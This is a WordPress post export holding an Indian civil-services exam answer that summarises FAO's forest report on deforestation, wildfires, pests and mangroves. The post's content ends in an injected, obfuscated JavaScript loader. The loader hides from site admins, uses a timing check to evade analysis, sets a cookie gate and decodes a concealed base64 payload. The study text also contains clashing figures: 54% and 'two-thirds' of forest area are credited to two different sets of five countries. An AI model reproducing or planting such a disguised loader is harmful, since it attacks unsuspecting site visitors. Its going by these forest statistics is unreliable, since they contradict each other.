{"id":1142,"date":"2024-07-24T08:34:39","date_gmt":"2024-07-24T08:34:39","guid":{"rendered":"https:\/\/iasquest.com\/?p=1142"},"modified":"2026-02-11T19:16:06","modified_gmt":"2026-02-11T19:16:06","slug":"paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-18","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iv-general-studies-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-18\/","title":{"rendered":"PAPER-IV General Studies-III: Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Conservation, Environmental Pollution and Degradation, Environmental Impact Assessment<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#bb0e0e\"><strong>Despite Global efforts on curbing deforestation, threats to forests remain a major problem from various factors. Critically analyse the aforesaid statement with the recent forest report of FAO<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The report, titled <strong>&#8220;The State of the World&#8217;s Forests,&#8221;<\/strong> by <strong>Food and Agricultural Organisation (FAO)<\/strong> emphasizes persistent challenges from pests, wildfires, and climate change in addition to positive trends in the decline of deforestation.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>According to the report, rates of deforestation have significantly decreased globally in recent decades.<\/li>\n\n\n\n<li>Approximately <strong><em>420 million hectares (ha) of forest<\/em><\/strong><em> were converted to different purposes between 1990 and 2020<\/em>. But between 1990 and 2002, annual rates of deforestation dropped to 15.8 million hectares; between 2015 and 2020, they were 10.2 million hectares.<\/li>\n\n\n\n<li>There is a favourable trend in forest conservation activities, as seen by the large decrease in the net rate of change in the forest area.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Distribution of Forest Areas<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>31% of the Earth&#8217;s total area, or over 4.1 billion hectares, were covered by forests as of 2020.<\/li>\n\n\n\n<li>Together, <em>the United States, China, Brazil, Canada, and the Russian Federation make up <\/em><strong><em>54%<\/em><\/strong><em> of the world&#8217;s forest area<\/em>.<\/li>\n\n\n\n<li>Approximately <strong><em>two-thirds of the world&#8217;s forest area is collectively contributed by Australia, the Democratic Republic of the Congo, Indonesia, Peru, and India.<\/em><\/strong> These countries are also major donors.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Progress in the Region and the Nation<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A number of nations, including China, Australia, India, Chile, Vietnam, Turkey, the United States, France, Italy, and Romania, reported annual increases in their forested areas in 2020.<\/li>\n\n\n\n<li>The Global Forest Resource Assessment 2025&#8217;s preliminary data shows that <strong><em>Indonesia&#8217;s deforestation decreased by 8.4% in 2021\u20132022<\/em><\/strong>\u2014the lowest amount since 1990.<\/li>\n\n\n\n<li>In the Legal Amazon zone,<strong> Brazil claimed a 50% drop in deforestation in 2023 over 2022.<\/strong><\/li>\n\n\n\n<li>Africa also demonstrated a decline in the yearly rates of deforestation between 2016\u201319 and 2020\u201322, both across individual sub regions and throughout the continent.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Hazards posed by pests and wildfires<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Even though there has been some progress in reducing deforestation, forests are still at serious risk from wildfires.<\/li>\n\n\n\n<li>Approximately <strong><em>383 million hectares of land<\/em><\/strong> were impacted by <strong><em>fires worldwide in 2023 alone, <\/em><\/strong>producing 6,687 megatons of carbon dioxide emissions. The <em>annual emissions of fossil fuels from <\/em><strong><em>the European Union<\/em><\/strong><em> are more than double<\/em> this amount.<\/li>\n\n\n\n<li>Remarkably, <em>prolonged droughts that boosted fuel use and fire severity in the boreal forest<\/em> led to the <strong><em>10% of global carbon dioxide emissions<\/em><\/strong> that resulted from these fires in 2021.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pests are another danger to forests:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>According to the Korea Forest Service, <strong><em>12 million pine trees were lost between 1988 and 2022 in the Republic of Korea, China, and Japan as a result of the pine wood worm.<\/em><\/strong><\/li>\n\n\n\n<li>Approximately <strong><em>25 million hectares of forest area in the United States are expected to be severely damaged by diseases and insects by 2027.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Mangrove Forests<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The mangrove area worldwide was estimated to <strong>be 14.8 million hectares,<\/strong> with over <strong>44%<\/strong> of that area being in <strong>South and Southeast Asia<\/strong>.<\/li>\n\n\n\n<li>Between 2000 and 2010 and 2010 and 2020, there was <strong><em>a 23% reduction in the gross worldwide mangrove loss rate<\/em><\/strong>, but there was also a modest dip in the area gain rate.<\/li>\n\n\n\n<li>These changes were caused by a number of factors, <em>including rice farming, aquaculture, natural retraction, conversion to oil-palm plantations, and other agricultural uses.<\/em><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Adaptability of Mangroves<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Mangroves proved resilient in the face of these obstacles, as seen by their natural expansion surpassing the area lost to natural causes.<\/li>\n\n\n\n<li>Between 2000 and 2020, the net change in mangrove area worldwide was negative; but, <em>natural expansion surpassed losses by a significant amount.<\/em><\/li>\n\n\n\n<li>Because of extreme weather events and rising sea levels, climate change continues to represent a serious threat to forests, particularly to mangrove ecosystems.<\/li>\n\n\n\n<li>These modifications jeopardize the natural balance of forested areas and increase the susceptibility of nearby communities to calamities.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/www.downtoearth.org.in\/forests\/state-of-the-worlds-forests-2024-global-efforts-curb-deforestation-but-threats-to-forests-from-wildfires-and-pests-remain\" target=\"_blank\" rel=\"noopener\">https:\/\/www.downtoearth.org.in\/forests\/state-of-the-worlds-forests-2024-global-efforts-curb-deforestation-but-threats-to-forests-from-wildfires-and-pests-remain<\/a>&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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